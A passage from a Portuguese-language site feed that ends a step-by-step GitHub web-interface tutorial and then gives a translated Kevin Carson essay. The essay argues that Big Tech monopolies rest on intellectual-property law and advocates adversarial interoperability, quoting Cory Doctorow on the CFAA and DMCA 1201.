&lt;li>&lt;a href="#abrindo-uma-issue">Abrindo uma Issue&lt;/a>
&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="criando-um-fork">Criando um fork&lt;/h2>
&lt;ul>
&lt;li>Dentro do repositório do qual você deseja criar uma cópia, no canto superior direito, clique em &lt;code>Fork&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>&lt;img class="img-fluid" alt="gif tutorial" src="https://cypherpunks.com.br/stuff/github-website-fork.gif" loading="lazy"
width="899" height="352"
/>
&lt;/p>
&lt;ul>
&lt;li>Você será redirecionado para a cópia que acabou de criar &lt;code>github.com/seu-nome-de-usuário/documentos&lt;/code>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="criando-uma-nova-branch">Criando uma nova Branch&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>Dentro da sua cópia (&lt;code>Fork&lt;/code>) há um atalho que serve para facilitar o gerenciamento de todas as branchs existentes neste repositório. Clique nele para criar uma nova &lt;code>Branch&lt;/code>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Digite um nome para sua nova branch e em seguida clique em &lt;code>criar branch: nome-da-branch&lt;/code>&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>&lt;img class="img-fluid" alt="gif tutorial" src="https://cypherpunks.com.br/stuff/github-website-new-branch.gif" loading="lazy"
width="899" height="435"
/>
&lt;/p>
&lt;blockquote>
&lt;p>Você pode navegar de uma branch para outra usando este mesmo atalho. Todas as branchs do repositório estarão listadas lá.&lt;/p>
&lt;/blockquote>
&lt;hr>
&lt;h2 id="renomeando-e-movendo-arquivos">Renomeando e movendo arquivos&lt;/h2>
&lt;ul>
&lt;li>Navegue até o arquivo que deseja mover&lt;/li>
&lt;li>No canto superior direito da exibição do arquivo, clique no lápis ✏️ para abrir o editor de arquivos&lt;/li>
&lt;li>Para alterar o nome do arquivo basta ir na barra superior e editar o nome&lt;/li>
&lt;/ul>
&lt;p>&lt;img class="img-fluid" alt="gif tutorial" src="https://cypherpunks.com.br/stuff/github-website-rename-move.gif" loading="lazy"
width="899" height="552"
/>
&lt;/p>
&lt;ul>
&lt;li>Para mover o arquivo para uma subpasta, digite o nome da pasta desejada, seguido por &lt;code>/&lt;/code>. Sua nova pasta é um novo item na navegação estrutural&lt;/li>
&lt;li>Para mover o arquivo para um diretório acima da localização atual do arquivo, coloque o cursor no início do campo &lt;code>nome do arquivo&lt;/code> e digite &lt;code>../&lt;/code> para pular um nível de diretório inteiro ou pressione a tecla backspace para editar o nome da pasta principal&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="criando-um-pull-request">Criando um Pull Request&lt;/h2>
&lt;ul>
&lt;li>Vá ao repositório e acesse a aba &lt;code>Pull requests&lt;/code>&lt;/li>
&lt;li>Clique em &lt;code>Nova Pull Request&lt;/code>&lt;/li>
&lt;li>Selecione seu &lt;code>Fork&lt;/code> e sua &lt;code>Branch&lt;/code> que deseja incuir no repositório raiz, conforme o exemplo da GIF&lt;/li>
&lt;li>Coloque um título e uma descrição para manter as coisas organizadas&lt;/li>
&lt;li>Confirme a criação do Pull Request pelo botão&lt;/li>
&lt;/ul>
&lt;p>&lt;img class="img-fluid" alt="gif tutorial" src="https://cypherpunks.com.br/stuff/github-website-pull-request.gif" loading="lazy"
width="899" height="552"
/>
&lt;/p>
&lt;hr>
&lt;h2 id="abrindo-uma-issue">Abrindo uma Issue&lt;/h2>
&lt;ul>
&lt;li>Vá ao repositório e acesse a aba &lt;code>Issues&lt;/code>&lt;/li>
&lt;li>Clique em &lt;code>Nova Issue&lt;/code>&lt;/li>
&lt;li>Coloque um título e uma descrição sobre sua contribuição, dúvida, etc.&lt;/li>
&lt;li>Confirme o envio da Issue pelo botão&lt;/li>
&lt;/ul>
&lt;p>&lt;img class="img-fluid" alt="gif tutorial" src="https://cypherpunks.com.br/stuff/github-website-issue.gif" loading="lazy"
width="899" height="552"
/>
&lt;/p></content:encoded></item><item><title>E ainda assim você usa essas plataformas malígnas da Big Tech. Que curioso!</title><link>https://cypherpunks.com.br/documentos/e-ainda-assim-vc-usa-essas-plataformas-malignas-das-big-techs-que-curioso/</link><pubDate>Tue, 07 Sep 2021 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/e-ainda-assim-vc-usa-essas-plataformas-malignas-das-big-techs-que-curioso/</guid><description>“um sistema destrói seus competidores antecipando os meios e canais, e então prova que esse é o único modo de operação concebível.”</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Estefano Enrico
Revisado por: Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;em>Tradução originalmente publicada em: &lt;a href="https://c4ss.org/content/55295" target="_blank" rel="noopener noreferrer">https://c4ss.org/content/55295&lt;/a>
&lt;/em>&lt;/p>
&lt;p>É comum que “libertários” de direita ataquem — com alguma justificativa — a estupidez daqueles que equiparam a oposição a uma lei ou agência governamental com a oposição a algum valor ou objetivo em seu nome. Querer abolir o departamento de educação, por exemplo, não significa que você é contra a educação. No entanto, “libertários” de direita são responsáveis por uma falácia um tanto relacionada, como veremos em breve.&lt;/p>
&lt;p>Outra falácia similar da qual os apologistas pró-capitalismo são desproporcionalmente responsáveis é exemplificada pela réplica das mídias sociais: “anticapitalistas com iPhones kkkk.” Matt Bors zombou dessa falácia com um cartum amplamente divulgado no qual um camponês diz: “nós deveríamos melhorar a sociedade um pouco” — ao que um troll de direita responde: “E ainda assim você participa da sociedade. Que curioso! Eu sou muito inteligente.”&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Fica implícito na resposta do troll a suposição de que se nós desejamos uma gama de benefícios disponíveis no momento, então também desejamos necessariamente os atuais arranjos institucionais. Mas esse argumento impediria qualquer crítica sobre estruturas sociais ou instituições em qualquer sociedade, já que o único meio de receber benefícios em qualquer sociedade é através dos mecanismos sociais que os entregam. Um defensor da economia planejada soviética talvez tenha desafiado um advogado do livre mercado em termos idênticos: “E ainda assim, você vive numa casa, veste roupas, tem mobília, utensílios e etc., tudo o que foi produzido em fábricas estatais responsáveis pelos setores industriais e de acordo com o plano quinquenal. Que curioso!”&lt;/p>
&lt;p>Elizabeth Nolan Brown&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>, em dois artigos no site Reason postados a alguns dias, demonstra ambas falácias da melhor maneira possível. Em “&lt;a href="https://reason.com/2020/08/13/democrats-hate-facebook-republicans-want-to-ban-tiktok-the-bipartisan-backlash-against-big-tech-is-here-back-and-its-a-disaster/" target="_blank" rel="noopener noreferrer">Democrats Hate Facebook. Republicans Want to Ban TikTok.The Bipartisan Backlash Against Big Tech Is Here and It’s a Disaster&lt;/a>
” (13 de agosto), ela diz:&lt;/p>
&lt;blockquote>
&lt;p>Pessoas ordinárias começaram a ameaçar a internet e as oportunidades que ela tem criado, que chatice. Mesmo que os produtos deles tenham transformado quase todo aspecto da vida cotidiana, as grandes companhias de tecnologia têm sido expostas, cada vez mais, à percepção negativa do público e ataques políticos contínuos.&lt;/p>
&lt;/blockquote>
&lt;p>Ela contrasta esse sentimento a um breve período na primavera onde os norte-americanos pareciam apreciar o que a indústria fez por eles.&lt;/p>
&lt;blockquote>
&lt;p>…À medida que os EUA fechavam e ficavam em casa como resposta ao coronavírus, parecia que talvez as empresas de tecnologia norte-americanas estivessem fazendo um regresso de reputação.&lt;/p>
&lt;p>Com todos presos dentro de casa, a Big Tech proveu uma “corda salva-vidas”, conectando americanos à comida, entretenimento, trabalho e uns aos outros. Mas a trégua temporária dos EUA com a Big Tech não durou muito. Depois de quase cinco meses na pandemia, parece que qualquer benevolência recém-descoberta e conquistada pelo vale do silício já “se queimou”.&lt;/p>
&lt;p>“Havia uma pequena janela do tempo onde todos estavam gratos que a tecnologia nos permitia continuar a funcionar como sociedade, apesar da nossa incapacidade de união em espaços físicos”, diz o professor em direito da Universidade de Santa Clara, Eric Goldman, no site Reason. “E ainda assim essa gratidão se foi tão rapidamente. Todos simplesmente voltaram a odiar empresas de internet e esqueceram-se de todas as grandes coisas de que nos beneficiamos atualmente.”…&lt;/p>
&lt;p>…Mesmo que as grandes companhias de tecnologia tenham beneficiado pessoas ordinárias de várias maneiras, uma reação política ao tamanho e poder das maiores companhias de tecnologia — o que alguns insiders chamam de “techlash”&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> — está vindo mais forte do que nunca…&lt;/p>
&lt;p>Pense sobre todos os caminhos que as ferramentas digitais e companhias de tecnologia asseguraram para a modernidade e diversidade de informação durante a pandemia. Pense sobre todos os serviços online de streaming, videogames interativos, fornecedores de e-books, criadores de podcast e aplicativos que têm nos mantido entretidos. As diversas formas de serviços livres de chat que nos mantêm em contato com amigos, família e colegas. As ferramentas de educação online que ajudam a fazer o homeschooling algo sustentável. Pense sobre todas as doações feitas através de plataformas de crowdfunding , marketplaces como Etsy e eBAY e aplicativos que fazem parte da gig economy&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>, desde o Uber até o Patreon, que estão ajudando as pessoas a sobreviver.&lt;/p>
&lt;p>É justo dizer que isso está longe do ideal. Mas sem qualquer tecnologia disponível hoje, poderia ser muito pior…&lt;/p>
&lt;p>Pense sobre o quanto [a resistência contra os abusos da aplicação da lei] ainda teria ocorrido sem não apenas smartphones e vídeos, mas também maneiras rápidas, acessíveis e livres de gatekeepers para compartilhar e espalhar tal vídeo.&lt;/p>
&lt;/blockquote>
&lt;p>Perceba como, repetidamente, tanto ela quanto Eric Goldman tratam um grupo de coisas — “a internet, e as oportunidades que ela criou”, “uma corda vital, conectando americanos à comida, etc.”, “tecnologia”, “vídeos de streaming, videogames,etc.”, “smartphones e vídeo digital”, “a tecnologia de hoje” — como intercambiáveis com um grupo de coisas distinto — “grandes companhias de tecnologia”, “Big Tech”, “Vale do Silício”, “companhias de internet” e as “grandes companhias de tecnologia”.&lt;/p>
&lt;p>É uma manobra escorregadia, astuta, caso não preste atenção. Tais coisas não são intercambiáveis, assim como uma moradia, roupas e eletrodomésticos não eram intercambiáveis com a indústria estatal na URSS. Qualquer número de diferentes arranjos institucionais são maneiras viáveis de entregar as mesmas funções técnicas básicas. E em cada sociedade de classes, algum conjunto de arranjos institucionais é selecionado. A escolha de tais arranjos reflete os interesses da classe dominante. Como Paul Good escreveu: “um sistema destrói seus competidores antecipando os meios e canais, e então prova que esse é o único modo de operação concebível.”&lt;/p>
&lt;p>O fato de que os bens e serviços que consumimos vêm de um conjunto particular de arranjos institucionais selecionados por nossa estrutura de poder atual — e de onde mais poderiam vir? — não legitima tais arranjos.&lt;/p>
&lt;p>Em &lt;a href="https://reason.com/2020/08/17/anti-tech-warriors-are-coming-for-your-food-delivery-apps/" target="_blank" rel="noopener noreferrer">“Anti-Tech Warriors Are Coming For Your Food Delivery Apps&amp;quot;&lt;/a>
(17 de agosto), Brown aplica o mesmo tipo de argumento para aplicativos de delivery.&lt;/p>
&lt;blockquote>
&lt;p>Toneladas de consumidores e negócios ao redor dos EUA usam e gostam dos aplicativos de delivery. Eles permitem que indivíduos patrocinem restaurantes que, de outra forma, não oferecem serviços de entrega; eles permitem que negócios aumentem seu público; eles fornecem condições flexíveis de trabalho autônomo para os entregadores…&lt;/p>
&lt;p>Não é surpreendente o fato de que os negócios de alimentos enraizados com públicos já estabelecidos tendem a não gostar de aplicativos de delivery. Eles não gostam de fornecer parte do lucro para as empresas de aplicativos, nem de dar novas opções de locais para comer aos seus consumidores. Eles (as empresas de apps) são competidores e têm ganhado utilidade desde o começo da pandemia, com pessoas presas em casa e restaurantes frequentemente fechados para jantares presenciais.&lt;/p>
&lt;p>As pessoas que querem acabar com os aplicativos de delivery não dizem isso, é claro. Eles dizem que os aplicativos estão “explorando restaurantes, trabalhadores e consumidores” e “tomando dinheiro da economia local”.&lt;/p>
&lt;p>Porém, a campanha deles, “Protect Our Restaurants”, é basicamente um lobby de compadrios que exigem que o governo intervenha, então a classe favorecida de negócios pode fazer mais dinheiro sem melhorar os serviços. Temos visto cruzadas similares nos jornais, hotéis, e outras indústrias cujo antigo modelo de negócios tem sido minado pela internet…&lt;/p>
&lt;p>…A solução deles normalmente envolve grande regulação governamental.&lt;/p>
&lt;/blockquote>
&lt;p>Ao decorrer dessa passagem, toda a linguagem positiva e libertadora — os benefícios que os aplicativos “permitem”, “fornecem”, etc. — é atribuída aos grandiosos aplicativos beneficentes. E todas as frases negativas — “negócios de alimentos enraizados”, “não gostam” (repetidamente), “acabar”, “lobby de compadrios”, “classe favorecida de negócios”, “antigo modelo de negócios” — são atribuídas, por outro lado, aos seus oponentes. Se você se sentiu [manipulado] como se fosse tocado como uma rabeca, não te culpo.&lt;/p>
&lt;p>A artimanha do debate regulatório proposto por ela é igualmente unilateral. Consistentemente são os aplicativos que oferecem “liberdade” e “escolha”, e os caras maus — os “negócios de alimento enraizados” que odeiam “competição” — são quem clama por mais regulamentação.&lt;/p>
&lt;p>Mas vamos esclarecer algumas coisas. Primeiramente, o modelo de lucro desses aplicativos — no qual Brown nunca menciona, é integralmente derivado da propriedade das &lt;em>walled-gardens&lt;/em>&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> que estão em posse de corporações — dependendo inteiramente dos monopólios de propriedade intelectual. E algo um tanto inconveniente para o joguinho moralista de Brown é o fato de que a propriedade intelectual é uma &lt;em>regulamentação governamental que suprime a competição.&lt;/em>&lt;/p>
&lt;p>Embora haja toda essa retórica de libertação — “permite”, “fornece”, “ruptura”, “escolha”, “flexibilidade” — a mesma mão que tem o poder de afrouxar também tem o poder de amarrar. Delivery, táxi e o controle de monopólios de outros aplicativos sobre plataformas proprietárias permite-lhes que estabeleçam as taxas que cobram de restaurantes, motoristas ou consumidores de forma unilateral. Aplicativos de delivery são notórios por enganar restaurantes e roubar a gorjeta de motoristas, assim como aplicativos de carona remunerada para reduzir o pagamento do motorista. Sem dúvidas que Brown diria que o mercado impõe limites ao poder deles porque consumidores, motoristas ou restaurantes podem decidir que não vale a pena; mas o poder de estabelecer preços em níveis de maximização de lucro baseado na utilidade para o consumidor, e estabelecer o preço a um nível no qual mal valha o custo para a maioria das pessoas, é a definição de preço monopolista.&lt;/p>
&lt;p>A mentira de que os trabalhadores são “empregados autônomos” é insuficiente para uma folha de jornal. Como &lt;a href="https://twitter.com/doctorow/status/1301168743809036290" target="_blank" rel="noopener noreferrer">Cory Doctorow&lt;/a>
comenta no caso da Amazon Flex, é&lt;/p>
&lt;blockquote>
&lt;p>um sistema de entregas da “gig economy” que finge que os motoristas são contratados autônomos, mesmo que seus movimentos sejam roteirizados por um aplicativo cujo controle sobre eles excede o de qualquer chefe na história.&lt;/p>
&lt;p>Assim como todo trabalho da gig economy, o chiado do “trabalhador autônomo” é apenas um truque para alterar os riscos e custos de ser um empregador para a força de trabalho sem qualquer independência que os verdadeiros freelancers usufruem.&lt;/p>
&lt;p>Os motoristas da Amazon Flex são uma força de trabalho de “frangalhos” cujo pagamento é determinado por um algoritmo de uma caixa preta ajustado para mantê-los à beira da ruína financeira (é por isso que os motoristas da Flex começaram a ESCONDER SEUS TELEFONES EM ÁRVORES):&lt;/p>
&lt;/blockquote>
&lt;p>Para ser franco, se uma corporação é dona do aplicativo que você “contrata” o seu trabalho e tem o poder de definir unilateralmente o seu salário ou te demitir, então ela é o seu patrão. Qualquer um que diga o contrário é um maldito cúmplice.&lt;/p>
&lt;p>Apesar do foco manipulativo de Brown que consiste no “favoritismo”, “encarregados” vs “disruptores”, o fato é que os novos aplicativos proprietários — o que genuínos defensores de uma economia de compartilhamento chamam de &lt;a href="https://www.shareable.net/how-platform-coops-can-beat-death-stars-like-uber-to-create-a-real-sharing-economy/" target="_blank" rel="noopener noreferrer">“plataformas da Estrela da Morte”&lt;/a>
— precisam, eles mesmos, serem rompidos. O monopólio deles, baseado em IP, é, em cada parte, uma forma de protecionismo imposto pelo governo como nenhum sistema de medalhão de táxi jamais sonhou em ser.&lt;/p>
&lt;p>Tratar os benefícios que nós recebemos da tecnologia como razão para ser grato às empresas de tecnologia é comparável a dizer que pelo fato dos camponeses medievais precisarem de terra para o cultivo e se beneficiarem do acesso à terra, então eles deveriam ser gratos aos lordes feudais. Você quase pode ver Brown saindo para fora de um poço e dizendo, sarcasticamente: “ E ainda assim você usa os produtos das empresas de tecnologia. Que curioso!”&lt;/p>
&lt;p>Os consumidores têm que pagar tributo à Big Tech para ganhar os benefícios da tecnologia pelo mesmo motivo que os camponeses tinham que lidar com os lordes feudais para obter o acesso aos benefícios da terra: empresas de tecnologia possuem um monopólio legal que lhes permite o controle ao acesso dos benefícios da tecnologia, graças aos direitos artificiais de propriedade garantidos pelo Estado. Empresas de tecnologia não precisam ser guiadas com rédeas pela “regulação governamental”, não mais que os lordes feudais. A base de seu poder é a regulação governamental.&lt;/p>
&lt;p>Podemos quebrar o poder deles, revogando ou evitando as leis de propriedade intelectual — regulações governamentais — que são as bases deste poder.&lt;/p>
&lt;p>Uma maneira de fazer isso é através do que Doctorow chama de “interoperabilidade adversária”. Em termos simples, interoperabilidade adversária significa a &lt;a href="https://www.economist.com/open-future/2019/06/06/regulating-big-tech-makes-them-stronger-so-they-need-competition-instead" target="_blank" rel="noopener noreferrer">remoção&lt;/a>
das proteções de propriedade intelectual dos códigos e protocolos de aplicativos proprietários e proteções de segredo comercial para o código-fonte junto com outras barreiras legais para aplicativos open-source se conectarem a eles sem permissão.&lt;/p>
&lt;blockquote>
&lt;p>Uma excitante possibilidade é criar uma defesa legal absoluta para empresas que fazem produtos “interoperáveis” que conectam-se às ofertas das empresas dominantes, desde tinta de impressora de terceiros a leitores não autorizados do Facebook que engolem todas as mensagens esperando por você e as filtram de acordo com suas especificações, não as de Mark Zuckerberg. Essa defesa de interoperabilidade teria que proteger os ferreiros de ferramentas digitais de todos os tipos de reivindicações: interferência ilícita, contornar bloqueios de direitos autorais, violação de patente e, é claro, violação de termos de serviço.&lt;/p>
&lt;/blockquote>
&lt;p>No caso de plataformas de mídia social irresponsáveis, como Twitter e Facebook, isso significaria permitir que qualquer instância de código aberto governada pelo usuário pegasse carona na plataforma do Twitter e/ou Facebook, importando listas de contatos e fazendo postagens multiplataforma, &lt;a href="https://boingboing.net/2019/11/13/alt-interoperability-adversari.html" target="_blank" rel="noopener noreferrer">sem qualquer necessidade de permissão de Jack Dorsey ou Mark Zuckerberg.&lt;/a>
&lt;/p>
&lt;blockquote>
&lt;p>Alternativas ao Facebook como o Diaspora poderiam usar os logins e senhas dos usuários para buscar mensagens do Facebook que o serviço havia posto na fila para eles, permitindo a esses usuários responderem as mensagens do Diaspora sem serem espionados pelo Facebook. Os usuários de Mastodon poderiam ler e postar no Twitter sem tocar nos servidores do Twitter. Centenas ou milhares de serviços poderiam surgir, permitindo aos usuários diferentes opções para bloquear o assédio e oferecer contribuições interessantes de outros usuários — tanto os serviços de mídia sociais existentes quanto os usuários dessas alternativas.&lt;/p>
&lt;/blockquote>
&lt;p>Então, ao invés das pessoas descontentes irem a uma instância num Fediverso com menos de 1% dos vários usuários do Twitter, eles poderiam, efetivamente, tornar o próprio Twitter numa plataforma aberta como o Fediverso e reter todos os &lt;a href="https://www.eff.org/deeplinks/2019/06/adversarial-interoperability-reviving-elegant-weapon-more-civilized-age-slay" target="_blank" rel="noopener noreferrer">efeitos de rede&lt;/a>
do acesso à base de usuários do Twitter.&lt;/p>
&lt;blockquote>
&lt;p>A vantagem do Facebook está nos “efeitos de rede”: uma ideia é que o Facebook aumenta em valor com cada usuário que se junta (porque mais usuários aumentam a chance de que a pessoa que você está procurando esteja no Facebook). Mas a interoperabilidade adversária poderia permitir que os novos participantes no mercado se apropriem desses efeitos de rede, fazendo com que os usuários mantenham o contato com amigos no Facebook mesmo que eles tenham saído do Facebook.&lt;/p>
&lt;/blockquote>
&lt;p>No caso específico do que chamamos falsamente de aplicativos de “carona remunerada”, Doctorow &lt;a href="http://locusmag.com/2019/01/cory-doctorow-disruption-for-thee-but-not-for-me/" target="_blank" rel="noopener noreferrer">explica&lt;/a>
como a interoperabilidade adversária poderia facilitar a genuína carona remunerada, de verdade:&lt;/p>
&lt;blockquote>
&lt;p>Suponha que haja um aplicativo desestabilizador que desestabilizaria os desestabilizadores.&lt;/p>
&lt;p>Imagine se eu pudesse instalar uma versão do Ride (chame de Meta-Uber) que conhecesse todas as cooperativas de motoristas do mundo. Quando eu pousava, eu chamava um carro com Uber ou Lyft, mas assim que um motorista aceitava o granizo, meu aplicativo Meta-Uber sinalizava para o telefone do motorista e perguntava: “Você tem um aplicativo cooperativo de motorista no seu telefone? ” Se o motorista e eu tivéssemos o aplicativo cooperativo, nossos aplicativos cancelariam a reserva do Uber e remarcariam a viagem com o Meta-Uber.&lt;/p>
&lt;p>Dessa forma, poderíamos pegar carona na base estabelecida de carros do Uber e Lyft, os bilhões que eles investiram para legalizar os serviços de transporte compartilhado ao redor do mundo, os bilhões que gastaram em marketing para fazer com que nos acostumamos com a ideia de serviços de transporte compartilhado.&lt;/p>
&lt;p>Esse serviço do Meta-Uber permitiria uma transição elegante de proprietários e acionistas para cooperativas de trabalhadores. Quando você precisasse de um carro, conseguiria sem ter que resolver o problema do ovo e da galinha da falta de motoristas, pois se não há passageiros, então não há motoristas. Uma tarifa por vez e poderíamos canibalizar Lyft e Uber e enviá-los para o abrigo.&lt;/p>
&lt;p>Os bilhões que eles gastaram para estabelecer as “vantagens do pioneiro” não seriam uma muralha intransponível em torno de seus negócios: seriam pesos de pedra ao redor de seus pescoços. Lyft e Uber teriam excedentes de capital de vários bilhões de dólares que seus investidores esperariam recuperar, enquanto as cooperativas que agilmente saltam sobre Uber e Lyft não teriam tal fardo.&lt;/p>
&lt;p>Seriamos capazes disso?&lt;/p>
&lt;p>Sim. Tecnicamente, isso não é tão desafiador. Crie um serviço onde os dispositivos de motoristas e passageiros registram códigos exclusivos por viagem, ter o Meta-Uber para checar se o aparelho do motorista lançou um código exclusivo que corresponda ao seu, e então usar a ferramenta de cancelamento da viagem que já é incorporada ao Uber e Lyft para derrubar o antigo registro e recriá-lo com o Meta-Uber…&lt;/p>
&lt;p>Há centenas de outros metas que podemos imaginar: uma Meta-Amazon que faz seu pedido no lugar mais próximo; uma Meta-OpenTable que redireciona seus registros à uma ferramenta cooperativa.&lt;/p>
&lt;p>Cada uma dessas cooperativas seria capaz de desestabilizar o monopólio digital que veio ao poder pregando o evangelho da instabilidade [i.e. o que os monopolistas digitais como Brown e outros no Reason devotam tanto interesse para defender — K.C.].&lt;/p>
&lt;/blockquote>
&lt;p>Cada um desses monopolistas digitais mudariam para um balido ofensivo de um predador atônito e confuso, rosnando impotentemente enquanto sua carne é dilacerada por milhares de pequenas mordidas de enxames de alta mobilidade, sucessores altamente evoluídos.&lt;/p>
&lt;p>A real barreira não é técnica; é legal, como ele continua a descrever:&lt;/p>
&lt;blockquote>
&lt;p>A lei tecnológica é um campo minado com regras excessivamente amplas que foram sistematicamente distorcidas por empresas que usaram a “interrupção” para abrir caminho para as antigas indústrias, mas agora usam essas leis para se proteger de qualquer pressão de iniciantes que tentam interrompê-las.&lt;/p>
&lt;p>A primeira é a Lei de Fraude e Abuso de Computador…. CFAA é nominalmente um estatuto anti-intrusão de computador, que criminaliza “exceder sua autorização” em um computador que não pertence a você. Mesmo quando se passaram mais de 40 anos, estudiosos e praticantes tecnologicamente informados [sic] advertiram que isso era definido de forma muito ampla e que algum dia poderíamos ver essa regra usada para criminalizar atividades normais envolvendo computadores que possuíamos, porque os computadores teriam que se comunicar com um servidor para realizar parte de seu trabalho, e o proprietário do servidor poderia usar “contratos de usuário” e “termos de serviço” onerosos para definir nossa autorização. Se isso se generalizar, essas licenças podem adquirir força de lei criminal e violá-las pode se tornar um crime jurídico.&lt;/p>
&lt;p>40 anos depois, esses medos são justificados: CFAA é usada para ameaçar, intimidar, processar e até mesmo prender pessoas envolvidas em atividades perfeitamente legais, apenas porque violaram algum termo de serviço no meio do caminho.&lt;/p>
&lt;p>A metástase dos termos de serviço em extensas novelas de impenetrável juridiquês criou um mundo onde qualquer coisa que você fizer para frustrar as ambições comerciais dos monopolistas digitais é uma potencial ofensa criminal.&lt;/p>
&lt;p>Depois, há a Seção 1201 do Digital Millennium Copyright Act de 1998, um projeto de lei de Bill Clinton que cria um crime por “contornar um meio eficaz de controle de acesso” (também conhecido como Digital Rights Management ou DRM) para obras protegidas por direitos autorais…&lt;/p>
&lt;p>Juntos, a CFAA e DMCA deram às empresas digitais acesso a uma obscura doutrina jurídica que nunca foi escrita pelo Congresso, mas é rotineiramente aplicada pelos tribunais: Desprezo criminoso do modelo de negócios.&lt;/p>
&lt;p>A CFAA e a DMCA 1201 foram cuidadosamente distorcidas em escudos defensivos e anti-interrupção que estão disponíveis apenas para empresas digitais. Os proprietários de medalhões de táxi não podem usar a CFAA e a DMCA 1201 para manter o Uber e o Lyft fora de suas cidades.&lt;/p>
&lt;p>Mas o Uber e o Lyft poderiam usar essas ferramentas legais para manter o Meta-Uber fora de seus resultados financeiros. O Uber e o Lyft têm longos termos de serviço que estabelecem as regras sob as quais você está autorizado a se comunicar com os servidores do Uber e do Lyft. Estes termos de serviço proíbem o uso de seus servidores para localizar motoristas para qualquer finalidade que não seja a reserva de uma viagem. Eles certamente não permitem que você localize um motorista e, em seguida, cancele a reserva e faça uma nova reserva com um aplicativo cooperativo.&lt;/p>
&lt;p>E os aplicativos do Uber e do Lyft são criptografados em seu telefone, então, para fazer engenharia reversa, você teria que descriptografá-los (provavelmente capturando uma imagem de seu código descriptografado enquanto estava sendo executado em um telefone virtual simulado em um computador desktop). Descriptografar um aplicativo sem permissão é “ignorar um meio eficaz de controle de acesso” para um trabalho protegido por direitos autorais (o aplicativo é composto de um código protegido por direitos autorais).&lt;/p>
&lt;p>O Uber e o Lyft podem usar o DMCA 1201 para impedi-lo de descobrir como usá-los para localizar motoristas cooperativos e podem usar o CFAA para te impedir de mudar sua reserva do Uber para o Meta-Uber.&lt;/p>
&lt;/blockquote>
&lt;p>E essas mesmas barreiras legais — novamente, o protecionismo e as &lt;em>regulações governamentais&lt;/em> — são o coração do modelo de negócios dos proprietários de aplicativos em geral.&lt;/p>
&lt;p>Então, resumindo, praticamente cada componente singular do enquadramento manipulativo de Davi vs Golias feito por Brown é falso. A Big Tech é inveterada e nepotista, e utiliza regulações governamentais para suprimir a ruptura. Restaurantes, motoristas, consumidores e outros usuários das plataformas da Estrela da Morte de todos os tipos precisam expropriar a propriedade intelectual deles, quebrar os monopólios e dizer aos seus defensores para irem ao inferno.&lt;/p>
&lt;hr>
&lt;p>Essa prática tem como objetivo manter o usuário dentro de determinada plataforma a fim de coletar dados e lucrar com a publicidade. As grandes empresas de tecnologia como Facebook, Apple, Amazon e Google usam essa técnica. (N. do T.)&lt;/p>
&lt;p>Fonte original: &lt;a href="https://c4ss.org/content/53485" target="_blank" rel="noopener noreferrer">And Yet You Use Those Evil Big Tech Platforms. Curious! - Kevin Carson&lt;/a>
&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>Matt Bors é um cartunista editorial norte-americano e editor da publicação de quadrinhos on-line The Nib. Os quadrinhos que ironizam o senso comum da direita foram reunidos e publicados no livro “We should improve society somewhat”. (N. do T.)&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>Elizabeth Nolan Brown é a editoria sênior no site &lt;em>Reason&lt;/em>, onde ela escreve regularmente sobre intersecções do sexo, discurso, tecnologia, crime, política, panico e liberdades civis. Ela também é co-fundadora do grupo de feministas “libertárias”, Feminists for Liberty. (N. do T.)&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>Techlash, acrônimo formado a partir das palavras techonology e backlash (forte reação negativa a questões sociais ou políticas) é o termo que define a animosidade pública em relação às grandes empresas de tecnologia, especialmente as do Vale do Silício. De acordo com o Oxford English Dictionary, o fenômeno techlash é “uma forte e generalizada reação negativa ao poder e influência de grandes empresas de tecnologia, particularmente aquelas baseadas no Vale do Silício.” (N. do T.)&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>A gig economy é uma forma de economia “alternativa” que consiste em freelancers e trabalhadores autônomos, informais (como no caso do Uber, Amazon Flex, Lyft, Rappi e o IFood). (N. do T.)&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>Walled Garden é um termo em telecomunicações e marketing que define um ambiente fechado que limita as informações e coleta os dados dos usuários, ou seja, todas as operações desse ecossistema são controladas pelo operador.&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
